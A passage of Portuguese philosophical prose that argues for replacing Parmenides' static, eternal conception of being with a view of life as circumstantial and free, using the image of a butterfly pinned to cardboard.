conceito de ser, é também a ciência da vida e a ciência do homem. A concepção
do homem como uma essência quieta, imóvel, eterna, e que se trata de descobrir
e de conhecer, foi que nos perdeu na filosofia contemporânea; tem que ser
substituída por outra concepção da vida na qual o estático, o quieto, o imóvel,
o eterno da definição parmenídica não nos impeça de penetrar por baixo e chegar
a uma região vital, a uma região vivente, onde o ser não possua essas
propriedades parmenídicas, mas antes seja precisamente o contrário: um ser
ocasional, um ser circunstancial, um ser que não se deixe espetar numa
cartolina como a borboleta pelo naturalista. Parmênides tomou o ser, espetou-o
na cartolina há vinte e cinco séculos e lá continua ainda, preso na cartolina,
e agora os filósofos atuais não vêem o modo de tirar-lhe o alfinete e deixá-lo
voar livremente.

Este
vôo, este movimento, esta funcionalidade, esta concepção da              vida como circunstância, como chance, como resistência
que nos revele a existência de algo anterior à posse do ser, algo do qual Parmênides
não podia ter idéia, é isto que o homem tem que conquistar. Mas antes de
reconquistá-lo reconheçamos que um filósofo que influenciou durante vinte e
cinco séculos de uma maneira tão decidida o curso do pensamento filosófico,
merece algo mais que as quatro ou cinco páginas que lhe costumam dedicar os
manuais de filosofia.

 

 

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